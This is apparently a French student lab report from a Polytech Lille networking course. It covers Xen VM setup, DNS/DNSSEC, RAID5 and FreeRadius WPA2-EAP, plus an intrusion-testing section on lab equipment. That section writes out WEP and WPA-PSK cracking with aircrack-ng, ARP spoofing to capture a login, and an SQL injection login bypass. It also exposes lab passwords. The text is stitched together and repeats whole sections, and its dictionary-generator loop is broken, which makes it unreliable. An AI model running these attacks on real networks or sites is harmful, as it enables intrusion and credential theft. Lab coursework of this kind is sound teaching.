Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:04:11Z

Lchenu : /* Configuration de la VM */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
